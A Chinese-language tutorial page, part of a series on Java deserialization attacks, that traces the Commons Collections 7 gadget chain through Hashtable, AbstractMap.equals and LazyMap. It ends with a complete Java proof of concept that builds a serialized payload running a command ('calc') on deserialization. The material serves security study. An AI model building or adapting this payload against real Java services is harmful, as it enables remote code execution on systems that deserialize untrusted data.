- 1 序列化与反序列化基础
- 2 漏洞基本原理
- 3 Java 反射
- 4 DNSURL gadget 分析
- 1 背景介绍
- 2 CommonsCollections 1 Gadget 分析
- 3 CommonsCollections 6 Gadget 分析
- 4 CommonsCollections 2&&4 Gadget 分析
- JDK 7U21 Gadget
- 1 原理
- 2 构造
- 3 调用链
- 4 总结
- 1 Java 动态加载字节码
- 2 CommonsCollections 3 Gadget 分析
- 3 CommonsCollections 5 Gadget 分析
- 4 CommonsCollections 7 Gadget 分析
- 反序列化攻击涉及到的相关协议
- 1 RMI
- 2 JNDI
4 CommonsCollections 7 Gadget 分析
cc7 调用链:
//这里是 jdk 1.7 的,不同版本 HashMap readObject 可能略有不同
->Hashtable.readObject()
->Hashtable.reconstitutionPut()
->AbstractMapDecorator.equals
->AbstractMap.equals()
->LazyMap.get()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InvokerTransformer.transform()
->…………
LazyMap
之后的利用链也和 CC1 相同,前面用了新的链进行触发。这里仍然是想办法触发 LazyMap.get()
。在 Hashtable 的 readObject 中,遇到 hash 碰撞时,通过调用一个对象的 equals
方法对比两个对象,判断是否为真的 hash 碰撞。这里的 equals 方法是 AbstractMap
的 equals
方法。
4.1 AbstractMap
由于 LazyMap
没有实现 equals
方法,所以调用其 equals
方法即调用其父类
AbstractMapDecorator
的 equals
方法:
public boolean equals(Object object) {
if (object == this) {
return true;
}
return map.equals(object);
}
即调用其所包装的 map
的 equals
方法。
如果这里包装的是 HashMap
而其没有实现 equals
方法,就会调用其父类 AbstractMap
的 equals
方法:
public boolean equals(Object o) {
...
Map<K,V> m = (Map<K,V>) o;
...
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
...
}
此处调用了参数的 get
方法,可以此触发 LazyMap.get
从而完成利用。
4.2 Hashtable
这里使用 Hashtable
来充当反序列化链的触发点,其反序列化过程中调用了自身的 reconstitutionPut
方法,Hashtable 类的关键代码如下:
//Hashtable 的 readObject 方法
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
………………
for (; elements > 0; elements--) {
K key = (K)s.readObject();
V value = (V)s.readObject();
//reconstitutionPut 方法
reconstitutionPut(newTable, key, value);
}
this.table = newTable;
}
//跟进 reconstitutionPut 方法
private void reconstitutionPut(Entry<K,V>[] tab, K key, V value)
throws StreamCorruptedException
{
...
int hash = hash(key);
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
Entry<K,V> e = tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
而这里想要触发 equals
方法需要满足两个条件:
tab[index] != null
:即相同的index
应出现两次e.hash == hash
:即两个相同的index
对应的Entry
的键对应的hash
相同
这里会发现 hash
相同则 index
一定相同,所以可能会认为只要设置两个相同的 key
使得 hash
相同即可。
相同的 key
确实可以触发 equals
,但是回到一开始的 LazyMap.get
的触发条件, get
需要接收一个不存在的 key
才可以触发 transform
,所以需要找到两个值不相等但 hash
相等的变量。
这里 ysoserial 用了字符串,查看 String.hashCode
:
public int hashCode() {
int h = hash;
if (h == 0 && value.length > 0) {
char val[] = value;
for (int i = 0; i < value.length; i++) {
h = 31 * h + val[i];
}
hash = h;
}
return h;
}
这里只需要找到四个字符分成两个不同的组(AB、CD),使得 31 * A + B == 31 * C + D
即可。ysoserial 中使用了 yy 和 zZ,但这里还存在很多种可能。
4.3 POC
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CommonsCollections7 {
public static void main(String[] args) throws IllegalAccessException, IOException, ClassNotFoundException, NoSuchFieldException {
Transformer[] fakeTransformer = new Transformer[]{};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//ChainedTransformer 实例
//先设置假的 Transformer 数组,防止生成时执行命令
Transformer chainedTransformer = new ChainedTransformer(fakeTransformer);
//LazyMap 实例
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1,chainedTransformer);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2,chainedTransformer);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, "test");
hashtable.put(lazyMap2, "test");
//通过反射设置真的 ransformer 数组
Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
//上面的 hashtable.put 会使得 lazyMap2 增加一个 yy=>yy,所以这里要移除
lazyMap2.remove("yy");
//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashtable);
oos.flush();
oos.close();
//测试反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}
参考
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论